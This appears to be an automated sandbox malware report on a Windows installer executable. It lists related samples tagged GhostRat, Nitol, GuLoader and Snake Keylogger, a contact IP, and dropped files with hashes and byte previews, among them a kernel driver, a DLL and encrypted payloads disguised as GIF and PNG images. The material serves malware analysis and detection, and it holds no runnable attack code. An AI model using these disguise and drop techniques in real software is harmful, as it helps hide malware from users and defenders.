	6QRq90oLoJ.exe	Get hash	malicious	CryptOne	Browse	59.110.190.23
	loper5105205736990.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	59.110.190.23

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Documents\7YbcLf.exe	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	WA72.85107.1.exe	Get hash	malicious	Unknown	Browse
	Wbb52.76432.7.exe	Get hash	malicious	GhostRat, Nitol	Browse
	#U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	Wbb52.76432.7.exe	Get hash	malicious	Unknown	Browse
	#U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe	Get hash	malicious	Unknown	Browse
	Pb11b.74652.3.exe	Get hash	malicious	Unknown	Browse
	Pa66a.67374.1.exe	Get hash	malicious	Unknown	Browse
	Pq82a.46256.1.exe	Get hash	malicious	GhostRat, Nitol	Browse
	Pq82a.46256.1.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\a[1].gif

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PC bitmap, Windows 3.x format, 33 x 21 x 24, image size 2100, cbSize 2154, bits offset 54
Category:	dropped
Size (bytes):	140941
Entropy (8bit):	7.995709860892507
Encrypted:	true
SSDEEP:	3072:QdhlD+ea4Anlrl3/af3xh/I7XsYPv0X7ByK4K9TLPMIldjKBDOe:Qdee2lVAFcfPOAzKdPLdIH
MD5:	7AF26B296715B679817DB8F2BC81CF61
SHA1:	4CCD796003847E5D0E08B1467799E65350A5957B
SHA-256:	EC5AAFAE259A514340C65BD581E5C5D14CC7CA56E639223A7FC871AC12257928
SHA-512:	173C60013923CB26A0BE8C2452E2FB9116B11AAAED6B65E1B95ABD4321D86E2B9D67C777FE34B663CDF713D4CA3C235BFF747DBA731A2C58004C469DD5A1DC68
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BMj.......6...(...!...............4...................=h..;..;..;..;..;..;..;..:..:..:..:..:..:..:.-:.FQ.......................H..6..6..6..6..6..6..6..6./=./;./;./;./;./;..;..;..;..;..;..;..;..;..;..:..:.9E.........................................../<./<./<./<./<./<./;./<./<..;..;./;..;..;..;..;..;..;./<.mv........................................./<./<./<./<./<./<./<./<./<./<...................0<.0<..;./<.3@................................................=.0=.0=./<./<.0=./<./<./<./<./<./<./<./<./<./<./<./;./<.0=.OZ.........................0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./<./<.0=./<.0=./<./<./<./<./<./<./<./<./<./;./<..;..;..;./;..;..1>.0>.0>.0=.0=.0=.0=.0=.1>.0=.0=.0=.0=.0=.0=.0=.0=.0=./<.0=./<./<./<./<./<./<./<./<./<./<./<./<./;..1>.1>.1>.1>.1>.1>.1>.0>.0>.0=.0=.0=.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./=.0=./<./<./<./<./<./<..QP.1>.1>.1>.1>.1>.1>.2?.1>.1>.1>.1>.1>.1>.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=...*;C.2?.1?.1?.1?.1>.1>.1>.1>.1>.1>.1>.1>.1>.1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\s[1].dat

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	data
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	7.711688851917465
Encrypted:	false
SSDEEP:	384:9qegCRh1vC6FvsdvaUv2rywX0IK+H8Ku7jVolZ7XRJsKYkGDfRRX5qSgUWCHopQb:F5F1FUdy422IK+gAZt2i0YPpQn4GM4
MD5:	EAB0803C21D6F8C06A3B65DD85725C2D
SHA1:	25CC2374CC25B932CCF51E227B3E837E0F99B04A
SHA-256:	654BBDBD06A4053B4B3F8D60148A7C6540CAC9B4782164FC749D4694485B977E
SHA-512:	8A25FC6D38CD44DC45328B2CDBA7B31CC905AAA75182F60F6E993F43239DC29162450211B27398EA7F343F34F2B9AB1AA14DF0FB1AF2B94C2249DCFF82C74489
Malicious:	false
Reputation:	low
Preview:	..(.........GG..............................................P..........{Z.z7..c_6,./]@H]<0}>_PPQ%q34.FAZz34z>5)Z75>?.225.5555555..G\.@f.z\.@f.{\.@f...\.@f...\.@f...\.@f...\.@f...\.@f...\.@f4......4444444444444444444444444dq44P.<4.g.bbbbbbbbb.b@bi`kbbXbbbpbbbbbb..bbbrbbbbcbbbbbbrbbb`bbdbcbdbcbdbcbbbbbb.bbbfbbpRcbcbbbbbfbbbbbbrbbbbbbbbrbbbbbbrbbbbbbbbbbrbbbbbbbbbbbr.bbJbbbb.bb.abbb.bb.cbbb2bb.\|bbb.bb&bbb.#bb~bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"bb.cbbbbbbbbbbbbbbbbbbbbbbbbbbL...n....6.......4..................:..r\...gr.......S.......!..............S..[u?:/N////-///.///-///.//////////////o//......"............................................................................?.........................]s/./L///.,///.///+///e//////////////o//mC...nb...............O..............A..CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\c[1].gif

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PC bitmap, Windows 3.x format, 33 x 21 x 24, image size 2100, cbSize 2154, bits offset 54
Category:	dropped
Size (bytes):	10515
Entropy (8bit):	7.824657644789603
Encrypted:	false
SSDEEP:	192:PAotzSPrnRwz1kF69bButXBo+EROXPx3DWvuBQDRKe63WUxZjp3527L:P7tWPNw2FQbButSYxWvjRh63Wu35SL
MD5:	0035DC4371138478A84E3BAA8454C764
SHA1:	830A650F59A640386681E7D3ECD4F4D51756C4A2
SHA-256:	692721CF30588CF416B2E5C251D7070DC3C92E664EF47B7F3300187CF982EA8E
SHA-512:	7A63422BFFDDE835933146A85B03C20598A5A980394D7A7C32C7C92C7DBE81719A2057AC5A9419258CAAAA58D83C7E0DC34D989C387A19C9CFDB8D1A246991E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BMj.......6...(...!...............4...................=h..;..;..;..;..;..;..;..:..:..:..:..:..:..:.-:.FQ.......................H..6..6..6..6..6..6..6..6./=./;./;./;./;./;..;..;..;..;..;..;..;..;..;..:..:.9E.........................................../<./<./<./<./<./<./;./<./<..;..;./;..;..;..;..;..;..;./<.mv........................................./<./<./<./<./<./<./<./<./<./<...................0<.0<..;./<.3@................................................=.0=.0=./<./<.0=./<./<./<./<./<./<./<./<./<./<./<./;./<.0=.OZ.........................0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./<./<.0=./<.0=./<./<./<./<./<./<./<./<./<./;./<..;..;..;./;..;..1>.0>.0>.0=.0=.0=.0=.0=.1>.0=.0=.0=.0=.0=.0=.0=.0=.0=./<.0=./<./<./<./<./<./<./<./<./<./<./<./<./;..1>.1>.1>.1>.1>.1>.1>.0>.0>.0=.0=.0=.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./=.0=./<./<./<./<./<./<..QP.1>.1>.1>.1>.1>.1>.2?.1>.1>.1>.1>.1>.1>.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=...*;C.2?.1?.1?.1?.1>.1>.1>.1>.1>.1>.1>.1>.1>.1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\d[1].gif

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PC bitmap, Windows 3.x format, 33 x 21 x 24, image size 2100, cbSize 2154, bits offset 54
Category:	dropped
Size (bytes):	3963834
Entropy (8bit):	7.997064399987509
Encrypted:	true
SSDEEP:	49152:POhPyT3tBYfE8C38C4Re7eYDY0vM6so8JSGWOXu/0F5g2ON95swP8gbOOLlBxaH9:FBYbh1odYyws0F5g2308ulXiQKAKPz
MD5:	7389347D4BB06F8A6AC6918F164D86B3
SHA1:	B694D497022098133BCEAD9FB54329570322AD44
SHA-256:	2DD36E91F59CD3335C07DC8380BF70817E6A2C04C1B2ACC32726A74ED92530E0
SHA-512:	3AD8DB1A8F0D62BE0D393F68150C1A8EBFDEA14F0E81FEF6E195669D7B1D6D4AB95403CD9827CA14550235FD8BB2EBA87945BFC7874014FDE220D50D0289EBFB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BMj.......6...(...!...............4...................=h..;..;..;..;..;..;..;..:..:..:..:..:..:..:.-:.FQ.......................H..6..6..6..6..6..6..6..6./=./;./;./;./;./;..;..;..;..;..;..;..;..;..;..:..:.9E.........................................../<./<./<./<./<./<./;./<./<..;..;./;..;..;..;..;..;..;./<.mv........................................./<./<./<./<./<./<./<./<./<./<...................0<.0<..;./<.3@................................................=.0=.0=./<./<.0=./<./<./<./<./<./<./<./<./<./<./<./;./<.0=.OZ.........................0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./<./<.0=./<.0=./<./<./<./<./<./<./<./<./<./;./<..;..;..;./;..;..1>.0>.0>.0=.0=.0=.0=.0=.1>.0=.0=.0=.0=.0=.0=.0=.0=.0=./<.0=./<./<./<./<./<./<./<./<./<./<./<./<./;..1>.1>.1>.1>.1>.1>.1>.0>.0>.0=.0=.0=.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./=.0=./<./<./<./<./<./<..QP.1>.1>.1>.1>.1>.1>.2?.1>.1>.1>.1>.1>.1>.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=...*;C.2?.1?.1?.1?.1>.1>.1>.1>.1>.1>.1>.1>.1>.1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\i[1].dat

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.236273566359426
Encrypted:	false
SSDEEP:	6:WBdMCaTcR/nqiCrCa2BIDRmfsR6d+HXV8jjG7OdUzWFR960qOTGD:yfYcRy1MBIDRBlVgUzWF7qHD
MD5:	D620B05F8CA3EFF381F126E705B26319
SHA1:	1C22CAD05EF17060D144EA04B3648DAFA4470CCC
SHA-256:	E6553EF967D8C00715D4241C6F2ECD40CB4C0D5C0DC13A3933A482047457D9AF
SHA-512:	9002A69387CDE02396CF52BC6E965B74C22756E7717C64716E03D3D4EE2B0DA0CE2E4380A4B4861421C1E7CC0431DF896A9061AEC91E3CADB0DB64F1259ADB6E
Malicious:	false
Preview:	....l%00.@._g/q0CC.S=~16_\_X?v94]MAZ9)t9VT.Xv?1>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>VJJN=taaU.S.6~ a..L.l/`g....n'he....hx%h..G.$mclllllllllllllllllllllllllllllllll....o&33.C.\d,r3@@.P>}25\_\[<u:7^NBY:*w:UW.Yw>0?????????????????????????????????WKKO<u``T.R.7.!`..M.m.af....o&id....iy$i..F.#jdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk....~ss1TIT1111111111111111111111111111111111111Te^Z?4t>RR>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>N[LX1v<:::::::::::::::::::::::::::::::::::::::::Y[YR7\|63G333333333333333333333333333333333333333

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\b[1].gif

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PC bitmap, Windows 3.x format, 33 x 21 x 24, image size 2100, cbSize 2154, bits offset 54
Category:	dropped
Size (bytes):	3679381
Entropy (8bit):	7.999920715139405
Encrypted:	true
SSDEEP:	98304:GZEx+gamAtC3BbCzY01owoUHdGk1LYLROXENnn0b7Ke:/ahwCX1omdw8UNn0XKe
MD5:	13E05500C7D6372C50091A56CB1EB698
SHA1:	6A666C3E374F40CEFF6D18D3B798B4E44116E5FB
SHA-256:	3C6D987704BE11CE13F2EA7D56F9C3A6247C4F2718FD6DCD3389803A4B175845
SHA-512:	4F91ED5CAA1E52105CFC60DC3BA017591A63EAA90AEA3E353404FF9A59A553DD5362F81EF90F81274602F030C0201118C8C13DB685AC91C0AF9EE1397BC95AF1
Malicious:	false
Preview:	BMj.......6...(...!...............4...................=h..;..;..;..;..;..;..;..:..:..:..:..:..:..:.-:.FQ.......................H..6..6..6..6..6..6..6..6./=./;./;./;./;./;..;..;..;..;..;..;..;..;..;..:..:.9E.........................................../<./<./<./<./<./<./;./<./<..;..;./;..;..;..;..;..;..;./<.mv........................................./<./<./<./<./<./<./<./<./<./<...................0<.0<..;./<.3@................................................=.0=.0=./<./<.0=./<./<./<./<./<./<./<./<./<./<./<./;./<.0=.OZ.........................0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./<./<.0=./<.0=./<./<./<./<./<./<./<./<./<./;./<..;..;..;./;..;..1>.0>.0>.0=.0=.0=.0=.0=.1>.0=.0=.0=.0=.0=.0=.0=.0=.0=./<.0=./<./<./<./<./<./<./<./<./<./<./<./<./;..1>.1>.1>.1>.1>.1>.1>.0>.0>.0=.0=.0=.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=./<./=.0=./<./<./<./<./<./<..QP.1>.1>.1>.1>.1>.1>.2?.1>.1>.1>.1>.1>.1>.0>.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=.0=...*;C.2?.1?.1?.1?.1>.1>.1>.1>.1>.1>.1>.1>.1>.1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\s[1].jpg

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	102636
Entropy (8bit):	7.997951293018451
Encrypted:	true
SSDEEP:	3072:jTDFMOAPqf3lWtmoyUM4J7ruwxW9/o1w5TWdFJUO/Uai:fDC5AVWMo24dT09/O2uCObi
MD5:	CEE07CC9376774EB4A5F09A96A71AD17
SHA1:	881FD345F334BC2E62DF3BDFF647696A55DECEA8
SHA-256:	33C0E19B8FB335397D618A0372CCA727FC8A1FFCD9B2327510C92CCBD5A1C698
SHA-512:	FE03779374AE0C3A4D32B101184B864F1AF68E0ED0523E8B5DA2D3AAC52737BF9F6E0A40BAE36AA8F7423F651CB3297ABA744D3C912641070B315E971DDDB44F
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx..}.UU..... ...."..!.......!YFD.HHhD.F.DD&"......".....0...>..0.0..s...~g..;..s....0...;.....#.rg..Zg.....O...\|B..=.. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. .........w....WA..5.G.>+0...._;]9....TN...j.;.5.m)..x....Qw.:..."....@j.....s..Y1ujZ..v.n..H.uKv..1...e.x,..FoK...-wl.....3!.h....3..T.....".....`s...k...T..'...\|bnL.Y.V9x{..{f.......e.m...>..%.....@LQ. <e.._..X_Z......7.....s..=R....#..(....n...+\|U....mv...3[..7...Tj...y...1......p...Fl..$....cg..am....+{)...'{...t..d...I.h..w.c:..1._?P.R^..n....M>\<....T......e.......n.S..i.<.t........x..-.......9..n..$.....V<.9y.8W$a\|6>g...x....A7..6...~x_.Z..\.L...]......9...n..."...o...'.0...`5...+X...;.....&A.....^d.`.t..`tR.j..D9..9..:.\|..X........C(. ..sA...V.._3....q>[.~~p.{.........\..:b....n...i..g....'....A7.JP.#y...v..../..n...=U1.........../..n..@....:..3I.F&t...t.......AG.... ..^..y.

C:\Users\user\Documents\7YbcLf.exe

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	138776
Entropy (8bit):	6.299362950486936
Encrypted:	false
SSDEEP:	3072:pIVf39AtRKuZkCi0UqcrkXuZ4Q4C0SgWQVUN9Lf9ct7mDRbPC:pIVGKuZ1vgrauUCjN5f9nlC
MD5:	DF76205EAF175184567FC44A83019B20
SHA1:	44F219ECFFF27BF81DCCEE076583D32CE5BF82BD
SHA-256:	A6123E13E12A1A1D4C4A4EB034769BFE8E229C3A9877E0DD173B422E700A26AC
SHA-512:	0C50564629B28D32E5EC74C4B76FBD2C79376838FF6B60DB92403E164BF7CDEECC7FD2A922C64356322C5150792CCD657EED0CB6D974E82682EFF5B6BB640E6A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe, Detection: malicious, Browse Filename: WA72.85107.1.exe, Detection: malicious, Browse Filename: Wbb52.76432.7.exe, Detection: malicious, Browse Filename: #U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe, Detection: malicious, Browse Filename: Wbb52.76432.7.exe, Detection: malicious, Browse Filename: #U8f6f#U4ef6#U5b89#U88c5#U7a0b#U5e8f2.0.1.exe, Detection: malicious, Browse Filename: Pb11b.74652.3.exe, Detection: malicious, Browse Filename: Pa66a.67374.1.exe, Detection: malicious, Browse Filename: Pq82a.46256.1.exe, Detection: malicious, Browse Filename: Pq82a.46256.1.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w................................................S...............=...S......S...........S......Rich............................PE..d......f..........".................t-.........@.............................0............`..............................................................................L... ..d.......p...............................8...............X............................text...0........................... ..`.rdata..............................@..@.data...8...........................@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..d.... ......................@..B................................................................................................................................................................................

C:\Users\user\Documents\cache.dat

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3961669
Entropy (8bit):	7.999921049167014
Encrypted:	true
SSDEEP:	98304:JLfESZqX9Gx2pXp60/aZqHIu0nnHmrHHg:JLfLZqX4x2pXM0IAIu4HmrHA
MD5:	4543A4CFBFCE4114C4C994987B30D80B
SHA1:	6169BF8612F2AB49209ACA25ABC2EEF9AEF7F3B8
SHA-256:	B45E3FE33204A4E529A2AEEEB2A2130007BE932A40C167988E4FF5F52669D619
SHA-512:	4718214D8C737EC6C70ABB3A3277414E98AE5DA22947E12D35D0FD30CD211A8168C13637B8913420E3C2D6D38A5E1C88DE539CB5C811702409FBDCE137320578
Malicious:	false
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx..}.UU..... ...."..!.......!YFD.HHhD.F.DD&"......".....0...>..0.0..s...~g..;..s....0...;.....#.rg..Zg.....O...\|B..=.. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. ...... .. .........w....WA..5.G.>+N...._;]9....TN...j.;.5.m)..x....Qw.:..."....@j.....s..Y1ujZ..v.n..H.uKv..1...e.x,..FoK...-wl.....3!.h....3..T.....".....`s...k...T..'...\|bnL.Y.V9x{..{f.......e.m...>..%.....@LQ. <e.._..X_Z......7.....s..=R....#..(....n...+\|U....mv...3[..7...Tj...y...1......p...Fl..$....cg..am....+{)...'{...t..d...I.h..w.c:..1._?P.R^..n....M>\<....T......e.......n.S..i.<.t........x..-.......9..n..$.....V<.9y.8W$a\|6>g...x....A7..6...~x_.Z..\.L...]......9...n..."...o...'.0...`5...+X...;.....&A.....^d.`.t..`tR.j..D9..9..:.\|..X........C(. ..sA...V.._3....q>[.~~p.{.........\..:b....n...i..g....'....A7.JP.#y...v..../..n...=U1.........../..n..@....:..3I.F&t...t.......AG.... ..^..y.

C:\Users\user\Documents\eToken.dll

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3677216
Entropy (8bit):	7.965644236068045
Encrypted:	false
SSDEEP:	98304:IPoIOw5/XsBczXPm7iTUlNw2kGiVDFnkyej4MW+:woe/cBcmlNLkGOFzekK
MD5:	752D8B7D7AA5F2295CBECBC98895283B
SHA1:	E32F92654D6A1B5E718CDB0AFBFE136E820CC6F2
SHA-256:	1516280E583DFD966C3461DFC7FC3558C90DA72721EA9BB57E28EE4C7EAE5C18
SHA-512:	68286C58DBD1FBF383335A3C753EF6D9767ACCA6507A86502FD93E1E7137DBD20DA2A065A0084F72FDA16862FD58E26ED13CE8FA596DA10F66C34A748609E70C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....g.........." ...)............J.L.......................................Z...........`.........................................@.N.L.....H.P.....Z.a.....Y..;............Y.4...................................@.Y.@.............!.X............................text...@........................... ..`.rdata....... ......................@..@.data...0...........................@....pdata..............................@..@.QO ....H........................... ..`.h1c....h.....!.....................@....{,3......7...!...7.................`..h.reloc..4.....Y.......8.............@..@.rsrc...a.....Z.......8.............@..@........................................................................................................................................................................................................................................................

C:\Users\user\Documents\perfi.db

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3043002, writer version 2, read version 2, file counter 33, database pages 224, 1st free page 36, free pages 219, cookie 0x4, schema 4, UTF-16 little endian, version-valid-for 33
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	7.96571208745881
Encrypted:	false
SSDEEP:	192:/B+jaaYI8zd2LSUtOd+s/e+8opeEWonaK3EIOJjBF+J:/B++9aQdgoIIa5IOR8
MD5:	8E8EF09F4FD8B4CE7B777C5F17915059
SHA1:	9A0F7A60B73B6256221C8748AB51F39ECB442481
SHA-256:	C6CD4C3DB356EBF7C0FE5E91A87FC4923C75DF9D60DDF95C5500A3193B36AB1A
SHA-512:	23D7A6E549D2B8633457457DBEA35155188DE8A0F3996304EC68F900DE29451997B48CC8CCA28A709DF9D9BB74BD4190B195EDCDD9DFB6BD4B52BF6F13DD0687
Malicious:	false
Preview:	SQLite format 3......@ ...!.......$...........................................................!..n.......N..}...7.N...=.!so'.g..}_.S>Q..{.N.c....;G_fx5.#DO..g..}A....l=.2......'o...!.....e.&...o8.^...B^x..6IX.DC.Oa..../_...n$_.y..+jb..r...Y4/Rv.....(;....$...g..........~.IN ...-<R7....eZ..q4.....~...}....~t<......\|m....x.)U3.`U..s....W..WY..w+o-[..{..l..i`.:.......L'.>...$. .a.x.2#y_(9....d,....=n...%...c.........dq.nfLI....!1.."...`.,...~....)w.5E 1.V...0DA..~d..........<....> {......I...()G...9.#.h.7...=......!...s..X2.].+.c.o\|.L.U....p...8M+k.......g.....Z..-<..w..tHW...W......l.....wU........p.Z.N..%..v.....h(...Y....Z....0t${.s....s..k.l/.U.U.`D....S5x.V'{..7.+.0[.V..;#.lyt'RI.....\|f..Y.M1.r.w..v.............E......]<X....M..q.....t..F.i5...`...Y^..O6....A2.R.3!b...`...G`.81.M^T.{......o.S.... ...q..e..6..z.......-...F....:.&.......@.1....bI8..o.b.Cr..A...../..\.,,z@.....UX..9....T..,.f.bL...S........T........g.....

C:\Windows\Temp\aceprocted.sys

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28272
Entropy (8bit):	6.22916833974147
Encrypted:	false
SSDEEP:	384:w3YUY30d1Kgf4AtcTmwZ/22a97C5ohYh3IB96Oys2+l0skiM0HMFrba8no0ceD/A:wOUkgfdZ9pRyv+uPzCMHo3q4tDghW
MD5:	6D0D50016AD8DF90B100EF39F64DC93A
SHA1:	AA573F2828FF3B116C41D945F28AAEECDE658409
SHA-256:	D91D3AB359D4A166DAC86DE0CE5A1FBED39F4CA088E0B86F84C7C8939E6A7692
SHA-512:	80704E4EF879A3911989AABCD424471E72FDC0AE2ADA5EB5E1650CFC8387D794265026ADB2FC83E18880F3C093C3FDBC855A9AF58828AEB89B6D308DF8DED739
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ri...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:...:Rich...:........................PE..d....S.V.........."......:..........l................................................0..........................................................(............`.......P..p.......D....A...............................................@...............................text....,.......................... ..h.rdata.......@.......2..............@..H.data........P.......:..............@....pdata.......`.......<..............@..HPAGE....l....p.......>.............. ..`INIT.................@.............. ....rsrc................J..............@..B.reloc...............N..............@..B........................................................................................................................................................................................

\Device\Mup\localhost\pipe\atsvc

Download File

Process:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	384392
Entropy (8bit):	7.992864995209986
Encrypted:	true
SSDEEP:	6144:pFeFFrTyHlmUgkOq4wf4c1om2AtsUsEld6cjHeSCzH78QiSNsEFGl9oUFeASk6Y+:pkF0HlmDCNwH5UsEJAz4Q/NsEFGlT3D+
MD5:	BF5AE262759E0AC3579C92E570766EC9
SHA1:	32F57838350F777927E73302DE4243D9B2C677DE
SHA-256:	CCA964BBF8DEAB29A21A44BED924569AAEE8CAB88C809E8D343AD3BF0D0C9D8F
SHA-512:	B390BC9F057E967FBDEB82F4167D3FF9355E4242CEE9CD541913481BAD16E8E67DE4AA31733BBFC3493D95E20B32BFD102C7599F9F39E60BE81FF72D79DBD68F
Malicious:	false
Preview:	..........<.....................IY..D@.$.621.......]..........+.H`........IY..D@.$.621......3.qq..7I......6........IY..D@.$.621......,..l..@E....................NTLMSSP.............3.......(.....aJ....user-PCWORKGROUP........t.X.................NTLMSSP.........X.......X.......X.......X.......X.......X...5....aJ.....{xD5.<....!.^V........................IY..D@.$.621.....sZ..I8.`9.!:.nn........=.S..).MoXKf. .--.Ym7O...=Z....l.D.W._...@.."//....(..C.L..8....."Fk.....X....%{...Rz..q.R./x..?>.L.C.+".N.H/....,Wid6.'.M...\|?....J.......!;.zry..x..+..._....&.....vh.k.n..s...3..Z..8.....E..4.[.j.8M..x........&o.rLl.B\..:.5.X3\|b1{.....\0R3.......Q.".Q.A.......\|.I..p..5.L.....)E..!.L....c.fN.....G.Z1K..p...'a.C..%P*X.o.0.a..cJ...X.jF....&.^......&c.mp\.'..#.eJ...F^1.\|.?6..i.@..c6C...)..F. u.z.../...Xli.Rp...I.9W....v3V.4G..]oK...-.A}.....A...;..Yw......@..e/).....z../.#..e..'.=...q...E. J.d....!f[.S..w.`u.....wI.....^[F.L.....oG.`... ...QM

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.647660838121299
TrID:	Win64 Executable GUI (202006/5) 53.50% Windows ActiveX control (116523/4) 30.86% InstallShield setup (43055/19) 11.40% Win64 Executable (generic) (12005/4) 3.18% Generic Win/DOS Executable (2004/3) 0.53%
File name:	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
File size:	23'573'176 bytes
MD5:	9ff4be4b365f1345ff43ee1716f7d0a5
SHA1:	e6142272c3c0f10725cd7e86c0789f5526be224f
SHA256:	784c5ffc7efc37d288ed2590644f5d330958890c0b47174d3368fbe5891062ef
SHA512:	a9b9fb565540f0c8b2176fa9e1ae6e5f0a9b162d1c5cc3f05dfba6f92eccc33df680b18696e49ecd6c910097fed3dc9786c6469fba60f2579e0bbd9f9061619d
SSDEEP:	393216:g1apOTzQPQz4mZVitGOA0LxcfBGRHZhTILnREx:g1aw+aVKA0+xREx
TLSH:	A637F102BF9449B6D16247706CA75F012A35BC019FD34A4F3598BB1F3F76A212D2A39E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........=P(.\>{.\>{.\>{A..{.\>{A..{.\>{A..{.\>{L+.{.\>{.\?{.\>{L+.{.\>{.$.{.\>{...{.\>{...{.\>{...{.\>{...{.\>{Rich.\>{...............

File Icon


Icon Hash:	8a80809292808001

Static PE Info

General

Entrypoint:	0x14000caf4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x651BEE50 [Tue Oct 3 10:34:56 2023 UTC]
TLS Callbacks:
